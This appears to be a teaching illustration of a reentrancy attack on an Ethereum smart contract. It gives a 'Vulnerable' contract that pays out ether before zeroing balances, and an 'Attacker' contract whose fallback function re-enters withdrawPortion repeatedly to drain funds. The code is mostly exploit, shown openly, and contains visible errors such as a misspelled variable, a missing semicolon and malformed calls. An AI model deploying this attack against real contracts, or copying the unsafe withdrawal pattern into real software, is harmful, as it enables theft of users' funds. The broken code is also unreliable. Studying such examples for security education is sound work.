```solidity
contract Vulnerable {
  ...
  function withdrawAll(address to) external {
    uint amount = userBalances[msg.sender];
    if (userBalances[msg.sender] > 0) {
      require(msg.sender.call.value(amount)());
      userBalances[msg.sender] = 0;
    }
  }
  function withdrawPortion(uint amount) external {
    if (userBalanccs[msg.sender] >= amount) {
      require(msg.sender.call.value(amount)());
      userBalances[msg.sender] -= amount
    }
  }
}
```

```solidity
contract Attacker {
  ...
  function Attacker() {
    _owner = msg.sender;
  }
  function attack(){
    vul. withdrawAll(_owner);
  }
  function () payable {
    count++;
    if (count < 10)
      vul. withdrawPortion(1 Ether);
  }
}
```